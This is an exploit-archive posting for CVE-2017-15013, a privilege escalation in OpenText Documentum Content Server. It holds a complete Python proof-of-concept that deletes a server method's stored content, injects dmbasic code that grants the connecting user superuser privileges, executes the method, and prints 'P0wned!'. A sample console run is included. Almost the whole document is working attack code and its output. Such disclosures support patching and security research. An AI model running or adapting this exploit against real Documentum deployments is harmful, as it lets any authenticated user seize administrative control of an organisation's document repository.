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Opentext Documentum Content Server Privilege Escalation

Opentext Documentum Content Server Privilege Escalation
Posted Oct 14, 2017
Authored by Andrey B. Panfilov

Opentext Documentum Content Server (formerly known as EMC Documentum Content Server) contains a design gap that allows any authenticated user the ability to replace content of security-sensitive dmr_content objects (for example, dmr_content related to dm_method objects) and gain superuser privileges.

tags | exploit
advisories | CVE-2017-15013
SHA-256 | ac7c57e364c48ad77e9244ef5c906a10bfe022c7af7f5697dd095c5d81ee4d9c

Opentext Documentum Content Server Privilege Escalation

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#!/usr/bin/env python

# Opentext Documentum Content Server (formerly known as EMC Documentum Content Server)
# contains following design gap, which allows authenticated user to gain privileges
# of superuser:
#
# Content Server stores information about uploaded files in dmr_content objects,
# which are queryable and "editable" (before release 7.2P02 any authenticated user
# was able to edit dmr_content objects, now any authenticated user may delete
# dmr_content object and them create new one with the old identifier) by
# authenticated users, this allows any authenticated user to "modify" security-sensitive
# dmr_content objects (for example, dmr_content related to dm_method objects)
# and gain superuser privileges
#
# The PoC below demonstrates this vulnerability:
#
# MacBook-Pro:~ $ python CVE-2017-15013.py
# usage:
# CVE-2017-15013.py host port user password
# MacBook-Pro:~ $ python CVE-2017-15013.py docu72dev01 10001 dm_bof_registry dm_bof_registry
# Trying to connect to docu72dev01:10001 as dm_bof_registry ...
# Connected to docu72dev01:10001, docbase: DCTM_DEV, version: 7.2.0270.0377 Linux64.Oracle
# Trying to find any dm_method object with content...
# Trying to poison docbase method dm_Migration
# Method verb: dmbasic -eMigration_Agent
# Method function: Migration_Agent
# Trying to inject new content:
# Const glabel As String = "Label"
# Const ginfo As String = "Info"
# Const gerror As String = "Error"
#
# Private Sub PrintMessage(mssg As String, mssgtype As String)
# If(mssgtype=glabel) Then
# Print "<BR><B><FONT size=3>"
# Print mssg
# print "</FONT></B>"
# ElseIf(mssgtype=ginfo) Then
# Print "<BR><FONT color=blue>"
# Print mssg
# print "</FONT>"
# ElseIf(mssgtype=gerror) Then
# Print "<BR><FONT color=red size=3>"
# Print mssg
# print "</FONT>"
# Else
# Print "<BR>" & mssg
# End If
# End Sub
# Private Sub SetupSuperUser(TargetUser As String)
# objectid$ = dmAPIGet("id,c,dm_user where user_name = '" & TargetUser & "'")
# If objectid$ <> "" then
# Status = dmAPISet("set,c," & objectid$ & ",user_privileges",16)
# Status = dmAPIExec("save,c," & objectid$)
# End If
# End Sub
#
# Sub Migration_Agent(DocbaseName As String, UserName As String, TargetUser As String)
# Dim SessionID As String
#
# SessionID= dmAPIGet("connect," & DocbaseName & "," & UserName & ",")
# If SessionID ="" Then
# Print "Fail to connect to docbase " & DocbaseName &" as user " & UserName
# DmExit(-1)
# Else
# Print "Connect to docbase " & DocbaseName &" as user " & UserName
# End If
#
# Call SetupSuperUser(TargetUser)
#
# End Sub
#
# Removing method's content
# method's content has been successfully removed
# Creating malicious dmr_content object
# Malicious dmr_content object has been successfully created
# Becoming superuser...
# P0wned!
# MacBook-Pro:~ $ python CVE-2017-15013.py docu72dev01 10001 dm_bof_registry dm_bof_registry
# Trying to connect to docu72dev01:10001 as dm_bof_registry ...
# Connected to docu72dev01:10001, docbase: DCTM_DEV, version: 7.2.0270.0377 Linux64.Oracle
# Current user is a superuser, nothing to do
#



import socket
import sys

from dctmpy import NULL_ID, RPC_APPLY_FOR_BOOL, RPC_APPLY_FOR_OBJECT

from dctmpy.docbaseclient import DocbaseClient
from dctmpy.obj.typedobject import TypedObject

CIPHERS = "ALL:aNULL:!eNULL"


def usage():
print "usage:\n%s host port user password" % sys.argv[0]


def main():
if len(sys.argv) != 5:
usage()
exit(1)

(session, docbase) = create_session(*sys.argv[1:5])

if is_super_user(session):
print "Current user is a superuser, nothing to do"
exit(1)

print "Trying to find any dm_method object with content..."
method_object = session.get_by_qualification(
"dm_method WHERE use_method_content=TRUE "
"and method_verb like 'dmbasic -e%'")
method_content = session.get_by_qualification(
"dmr_content where any parent_id='%s'"
% method_object['r_object_id'])

print "Trying to poison docbase method %s" % method_object['object_name']
method_verb = method_object['method_verb']
print "Method verb: %s" % method_verb
method_function = method_verb[len("dmbasic -e"):]
print "Method function: %s" % method_function
new_content = \
"Const glabel As String = \"Label\"\n" \
"Const ginfo As String = \"Info\"\n" \
"Const gerror As String = \"Error\"\n" \
"\n" \
"Private Sub PrintMessage(mssg As String, mssgtype As String)\n" \
" If(mssgtype=glabel) Then\n" \
" Print \"<BR><B><FONT size=3>\"\n" \
" Print mssg\n" \
" print \"</FONT></B>\"\n" \
" ElseIf(mssgtype=ginfo) Then\n" \
" Print \"<BR><FONT color=blue>\"\n" \
" Print mssg\n" \
" print \"</FONT>\"\n" \
" ElseIf(mssgtype=gerror) Then\n" \
" Print \"<BR><FONT color=red size=3>\"\n" \
" Print mssg\n" \
" print \"</FONT>\"\n" \
" Else\n" \
" Print \"<BR>\" & mssg\n" \
" End If\n" \
"End Sub\n" \
"Private Sub SetupSuperUser(TargetUser As String)\n" \
" objectid$ = dmAPIGet(\"id,c,dm_user where user_name = '\" & TargetUser & \"'\")\n" \
" If objectid$ <> \"\" then\n" \
" Status = dmAPISet(\"set,c,\" & objectid$ & \",user_privileges\",16)\n" \
" Status = dmAPIExec(\"save,c,\" & objectid$)\n" \
" End If\n" \
"End Sub\n" \
"\n" \
"Sub %s(DocbaseName As String, UserName As String, TargetUser As String)\n" \
" Dim SessionID As String\n" \
"\n" \
" SessionID= dmAPIGet(\"connect,\" & DocbaseName & \",\" & UserName & \",\")\n" \
" If SessionID =\"\" Then\n" \
" Print \"Fail to connect to docbase \" & DocbaseName &\" as user \" & UserName\n" \
" DmExit(-1)\n" \
" Else\n" \
" Print \"Connect to docbase \" & DocbaseName &\" as user \" & UserName\n" \
" End If\n" \
"\n" \
" Call SetupSuperUser(TargetUser)\n" \
"\n" \
"End Sub\n" % method_function
print "Trying to inject new content:\n%s" % new_content

session.apply(None, NULL_ID, "BEGIN_TRANS")

if method_content is not None:
print "Removing method's content"
remove = TypedObject(session=session)
remove.set_string("OBJECT_TYPE", "dmr_content")
remove.set_int("i_vstamp", method_content['i_vstamp'])
obj = session.apply(RPC_APPLY_FOR_BOOL, method_content['r_object_id'], "dmDisplayConfigExpunge", remove)
if obj != True:
print "Failed to remove method's content, exiting"
end_tran(session, False)
exit(1)
print "method's content has been successfully removed"

store = session.get_by_qualification("dm_store")
format = session.get_by_qualification("dm_format where name='crtext'")

handle = session.make_pusher(store['r_object_id'])
if handle < 1:
print "Unable to create pusher"
end_tran(session, False)
exit(1)

b = bytearray()
b.extend(new_content)

if not session.start_push(handle, method_object['i_contents_id'], format['r_object_id'], len(b)):
print "Failed to start push"
end_tran(session, False)
exit(1)

session.upload(handle, b)
data_ticket = session.end_push_v2(handle)['DATA_TICKET']

print "Creating malicious dmr_content object"
content = TypedObject(session=session)
content.set_string("OBJECT_TYPE", "dmr_content")
content.set_bool("IS_NEW_OBJECT", True)
content.set_id("storage_id", store['r_object_id'])
content.set_id("format", format['r_object_id'])
content.set_int("data_ticket", data_ticket)
content.set_id("parent_id", method_object['r_object_id'])
content.set_int("page", 0)
content.set_string("full_format", format['name'])
content.set_int("content_size", len(b))
if not session.save_cont_attrs(method_object['i_contents_id'], content):
print "Failed to create content"
end_tran(session, False)
exit(1)

print "Malicious dmr_content object has been successfully created"

end_tran(session, True)

print "Becoming superuser..."
method = TypedObject(session=session)
method.set_string("METHOD", method_object['object_name'])
method.set_string("ARGUMENTS", "%s %s %s" % (
session.docbaseconfig['object_name'],
session.serverconfig['r_install_owner'],
sys.argv[3]))
session.apply(RPC_APPLY_FOR_OBJECT, NULL_ID, "DO_METHOD", method)
r = session.query(
"SELECT user_privileges FROM dm_user "
"WHERE user_name=USER") \
.next_record()[
'user_privileges']
if r != 16:
print "Failed"
exit(1)
print "P0wned!"


def end_tran(session, commit=False):
obj = TypedObject(session=session)
obj.set_bool("COMMIT", commit)
session.apply(None, NULL_ID, "END_TRANS", obj)


def create_session(host, port, user, pwd):
print "Trying to connect to %s:%s as %s ..." % (host, port, user)
session = None
try:
session = DocbaseClient(
host=host, port=int(port),
username=user, password=pwd)
except socket.error, e:
if e.errno == 54:
session = DocbaseClient(
host=host, port=int(port),
username=user, password=pwd,
secure=True, ciphers=CIPHERS)
else:
raise e
docbase = session.docbaseconfig['object_name']
version = session.serverconfig['r_server_version']
print "Connected to %s:%s, docbase: %s, version: %s" % \
(host, port, docbase, version)
return (session, docbase)


def is_super_user(session):
user = session.get_by_qualification("dm_user WHERE user_name=USER")
if user['user_privileges'] == 16:
return True
group = session.get_by_qualification(
"dm_group where group_name='dm_superusers' "
"AND any i_all_users_names=USER")
if group is not None:
return True

return False


if __name__ == '__main__':
main()
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